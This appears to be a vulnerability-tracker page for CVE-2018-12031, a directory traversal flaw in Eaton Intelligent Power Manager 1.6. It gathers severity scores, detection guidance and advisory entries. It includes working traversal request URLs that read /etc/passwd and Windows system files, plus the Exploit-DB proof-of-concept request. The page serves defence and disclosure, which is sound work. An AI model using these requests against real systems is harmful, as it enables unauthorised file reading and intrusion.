CVE-2018-12031
published 2018-06-07CVE-2018-12031: Local file inclusion in Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via server/node_upgrade_srv.js directory traversal with the…
PriorityP182critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
17.31%
96.7th percentile
Local file inclusion in Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via server/node_upgrade_srv.js directory traversal with the firmware parameter in a downloadFirmware action.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| eaton | intelligent_power_manager | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd↗
url/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini↗
url/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../windows/System32/drivers/etc/host↗
yara↗
regex: root:.*:0:0:
- →Detect exploitation attempts by monitoring HTTP GET requests to '/server/node_upgrade_srv.js' containing the 'action=downloadFirmware' parameter combined with directory traversal sequences ('/../') in the 'firmware' parameter. ↗
- →Successful LFI exploitation on Linux targets can be confirmed by the presence of 'root:.*:0:0:' pattern in HTTP response bodies (indicative of /etc/passwd content being returned). ↗
- →Successful LFI exploitation on Windows targets can be confirmed by the presence of '[fonts]', '[extensions]', or '[files]' patterns in HTTP response bodies (indicative of win.ini content being returned). ↗
- →The vulnerable endpoint requires no authentication (PR:N, UI:N per CVSS), so any unauthenticated GET request to node_upgrade_srv.js with traversal sequences should be treated as a high-confidence attack indicator. ↗
- ·The PoC traversal depth uses 12 levels of '../' which may vary depending on the installation path of Eaton IPM; defenders should tune traversal-depth detection rules to catch varying depths. ↗
- ·The vulnerability was tested on Windows, but the Nuclei template also targets Linux paths (/etc/passwd), indicating the server may run on both platforms — detection rules should cover both OS path patterns. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-2v4v-8555-8jp6: Local file inclusion in Eaton Intelligent Power Manager v1
ghsa_unreviewed·2022-05-14
CVE-2018-12031 [CRITICAL] CWE-22 GHSA-2v4v-8555-8jp6: Local file inclusion in Eaton Intelligent Power Manager v1
Local file inclusion in Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via server/node_upgrade_srv.js directory traversal with the firmware parameter in a downloadFirmware action.
VulnCheck
eaton intelligent_power_manager Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
vulncheck·2018·CVSS 9.8
CVE-2018-12031 [CRITICAL] eaton intelligent_power_manager Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
eaton intelligent_power_manager Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Local file inclusion in Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via server/node_upgrade_srv.js directory traversal with the firmware parameter in a downloadFirmware action.
Affected: eaton intelligent_power_manager
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-11-26&host_type=src&vulnerability=cve-2018-12031; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-11&host_type=src&vulnerability=cve-2
No detection rules found.
Exploit-DB
Eaton Intelligent Power Manager 1.6 - Directory Traversal
exploitdb·2020-06-22·CVSS 9.8
CVE-2018-12031 [CRITICAL] Eaton Intelligent Power Manager 1.6 - Directory Traversal
Eaton Intelligent Power Manager 1.6 - Directory Traversal
---
# Exploit Title: Eaton Intelligent Power Manager 1.6 - Directory Traversal
# Date: 2018-09-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://powerquality.eaton.com/
# Software Link: https://powerquality.eaton.com/Support/Software-Drivers/default.asp?cx=-999
# Version: v1.6
# Tested on: Windows
# CVE-2018-12031
# https://nvd.nist.gov/vuln/detail/CVE-2018-12031
# https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion
# PoC
To exploit vulnerability, someone could use
'https://[HOST]/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../'
request to get some informations from the target.
GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../
Nuclei
Eaton Intelligent Power Manager 1.6 - Directory Traversal
nuclei·CVSS 9.8
CVE-2018-12031 [CRITICAL] Eaton Intelligent Power Manager 1.6 - Directory Traversal
Eaton Intelligent Power Manager 1.6 - Directory Traversal
Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.
Template:
id: CVE-2018-12031
info:
name: Eaton Intelligent Power Manager 1.6 - Directory Traversal
author: daffainfo
severity: critical
description: Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
remediation: |
Apply the latest security patch
2018-06-07
Published
Exploited in the wild